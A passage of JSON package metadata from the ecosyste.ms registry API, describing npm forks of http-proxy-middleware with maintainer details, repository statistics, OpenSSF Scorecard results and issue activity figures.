ps://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@tuia%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@tuia%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@tuia%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@tuia%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@tuia%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@tuia%2Fhttp-proxy-middleware/codemeta","maintainers":[{"uuid":"aiduck","login":"aiduck","name":null,"email":"287081093@qq.com","url":null,"packages_count":40,"html_url":"https://www.npmjs.com/~aiduck","role":null,"created_at":"2022-11-11T03:10:09.146Z","updated_at":"2022-11-11T03:10:09.146Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/aiduck/packages"},{"uuid":"dinglh","login":"dinglh","name":null,"email":"1808656324@qq.com","url":null,"packages_count":41,"html_url":"https://www.npmjs.com/~dinglh","role":null,"created_at":"2022-11-11T03:10:08.944Z","updated_at":"2022-11-11T03:10:08.944Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/dinglh/packages"},{"uuid":"candy_dd","login":"candy_dd","name":null,"email":"17764576286@163.com","url":null,"packages_count":38,"html_url":"https://www.npmjs.com/~candy_dd","role":null,"created_at":"2022-11-11T03:10:08.971Z","updated_at":"2022-11-11T03:10:08.971Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/candy_dd/packages"},{"uuid":"wintersun97","login":"wintersun97","name":null,"email":"sun183509@qq.com","url":null,"packages_count":42,"html_url":"https://www.npmjs.com/~wintersun97","role":null,"created_at":"2022-11-11T03:10:08.996Z","updated_at":"2022-11-11T03:10:08.996Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/wintersun97/packages"},{"uuid":"tump","login":"tump","name":null,"email":"fe@tuia.cn","url":null,"packages_count":38,"html_url":"https://www.npmjs.com/~tump","role":null,"created_at":"2022-11-11T03:10:09.010Z","updated_at":"2022-11-11T03:10:09.010Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/tump/packages"},{"uuid":"inuanfeng","login":"inuanfeng","name":null,"email":"530039987@qq.com","url":null,"packages_count":46,"html_url":"https://www.npmjs.com/~inuanfeng","role":null,"created_at":"2022-11-11T03:10:09.039Z","updated_at":"2022-11-11T03:10:09.039Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/inuanfeng/packages"},{"uuid":"zhoucheng","login":"zhoucheng","name":null,"email":"11467423@qq.com","url":null,"packages_count":54,"html_url":"https://www.npmjs.com/~zhoucheng","role":null,"created_at":"2022-11-11T03:10:09.062Z","updated_at":"2022-11-11T03:10:09.062Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/zhoucheng/packages"},{"uuid":"zhangmin173","login":"zhangmin173","name":null,"email":"303890562@qq.com","url":null,"packages_count":46,"html_url":"https://www.npmjs.com/~zhangmin173","role":null,"created_at":"2022-11-11T03:10:09.091Z","updated_at":"2022-11-11T03:10:09.091Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/zhangmin173/packages"},{"uuid":"chao.zhou","login":"chao.zhou","name":null,"email":"zhouchao1105@gmail.com","url":null,"packages_count":42,"html_url":"https://www.npmjs.com/~chao.zhou","role":null,"created_at":"2022-11-11T03:10:09.170Z","updated_at":"2022-11-11T03:10:09.170Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/chao.zhou/packages"},{"uuid":"babalk","login":"babalk","name":null,"email":"824343900@qq.com","url":null,"packages_count":38,"html_url":"https://www.npmjs.com/~babalk","role":null,"created_at":"2022-11-11T03:10:09.210Z","updated_at":"2022-11-11T03:10:09.210Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/babalk/packages"},{"uuid":"leitingting","login":"leitingting","name":null,"email":"leitingting08@gmail.com","url":null,"packages_count":44,"html_url":"https://www.npmjs.com/~leitingting","role":null,"created_at":"2022-11-11T03:10:09.225Z","updated_at":"2022-11-11T03:10:09.225Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/leitingting/packages"},{"uuid":"nbseven","login":"nbseven","name":null,"email":"410805964@qq.com","url":null,"packages_count":40,"html_url":"https://www.npmjs.com/~nbseven","role":null,"created_at":"2022-11-11T03:10:09.285Z","updated_at":"2022-11-11T03:10:09.285Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/nbseven/packages"},{"uuid":"linhao-vue","login":"linhao-vue","name":null,"email":"2212477518@qq.com","url":null,"packages_count":45,"html_url":"https://www.npmjs.com/~linhao-vue","role":null,"created_at":"2022-11-11T03:10:09.298Z","updated_at":"2022-11-11T03:10:09.298Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/linhao-vue/packages"},{"uuid":"liusandy","login":"liusandy","name":null,"email":"2813549097@qq.com","url":null,"packages_count":40,"html_url":"https://www.npmjs.com/~liusandy","role":null,"created_at":"2022-11-11T03:10:09.312Z","updated_at":"2022-11-11T03:10:09.312Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/liusandy/packages"},{"uuid":"any-u","login":"any-u","name":null,"email":"571771050@qq.com","url":null,"packages_count":45,"html_url":"https://www.npmjs.com/~any-u","role":null,"created_at":"2023-04-28T15:59:11.654Z","updated_at":"2023-04-28T15:59:11.654Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/any-u/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1423026,"name":"api-snapshot","ecosystem":"npm","description":"api 快照，用于前端开发","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"ISC","normalized_licenses":["ISC"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["frontend","development","http","api","snapshot"],"namespace":null,"versions_count":10,"first_release_published_at":"2021-09-19T16:47:52.259Z","latest_release_published_at":"2021-09-22T09:10:57.628Z","latest_release_number":"1.0.10","last_synced_at":"2026-07-10T15:02:13.778Z","created_at":"2022-04-09T00:37:10.532Z","updated_at":"2026-07-10T21:24:02.933Z","registry_url":"https://www.npmjs.com/package/api-snapshot","install_command":"npm install api-snapshot","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"1.0.10"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-10T21:24:02.905Z","dependent_packages_count":2,"downloads":75,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":17.87203199117667,"dependent_repos_count":25.32799796580169,"dependent_packages_count":16.223928578504864,"stargazers_count":1.2404808007572055,"forks_count":1.5671553468562665,"average":12.446318936619338},"purl":"pkg:npm/api-snapshot","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/api-snapshot","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/api-snapshot","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/api-snapshot/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-07T02:25:53.474Z","issues_count":134,"pull_requests_count":268,"avg_time_to_close_issue":10873844.578125,"avg_time_to_close_pull_request":4257425.956896552,"issues_closed_count":64,"pull_requests_closed_count":232,"pull_request_authors_count":42,"issue_authors_count":129,"avg_comments_per_issue":4.843283582089552,"avg_comments_per_pull_request":1.3246268656716418,"merged_pull_requests_count":188,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":15,"past_year_pull_requests_count":88,"past_year_avg_time_to_close_issue":306048.3333333333,"past_year_avg_time_to_close_pull_request":54242.293333333335,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":75,"past_year_pull_request_authors_count":10,"past_year_issue_authors_count":14,"past_year_avg_comments_per_issue":0.5333333333333333,"past_year_avg_comments_per_pull_request":1.3863636363636365,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":65,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":70,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/api-snapshot/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/api-snapshot/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/api-snapshot/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/api-snapshot/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/api-snapshot/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/api-snapshot/codemeta","maintainers":[{"uuid":"yin80871901","login":"yin80871901","name":null,"email":"80871901@qq.com","url":null,"packages_count":1,"html_url":"https://www.npmjs.com/~yin80871901","role":null,"created_at":"2022-11-11T11:22:29.276Z","updated_at":"2022-11-11T11:22:29.276Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/yin80871901/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":956899,"name":"@gemini-testing/http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":"gemini-testing","versions_count":9,"first_release_published_at":"2019-06-21T20:14:46.866Z","latest_release_published_at":"2019-08-07T12:55:49.071Z","latest_release_number":"0.22.4","last_synced_at":"2026-07-10T15:04:09.717Z","created_at":"2022-04-07T17:44:52.757Z","updated_at":"2026-07-10T21:24:07.200Z","registry_url":"https://www.npmjs.com/package/@gemini-testing/http-proxy-middleware","install_command":"npm install @gemini-testing/http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.22.4","next":"0.22.5-alpha.0"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively 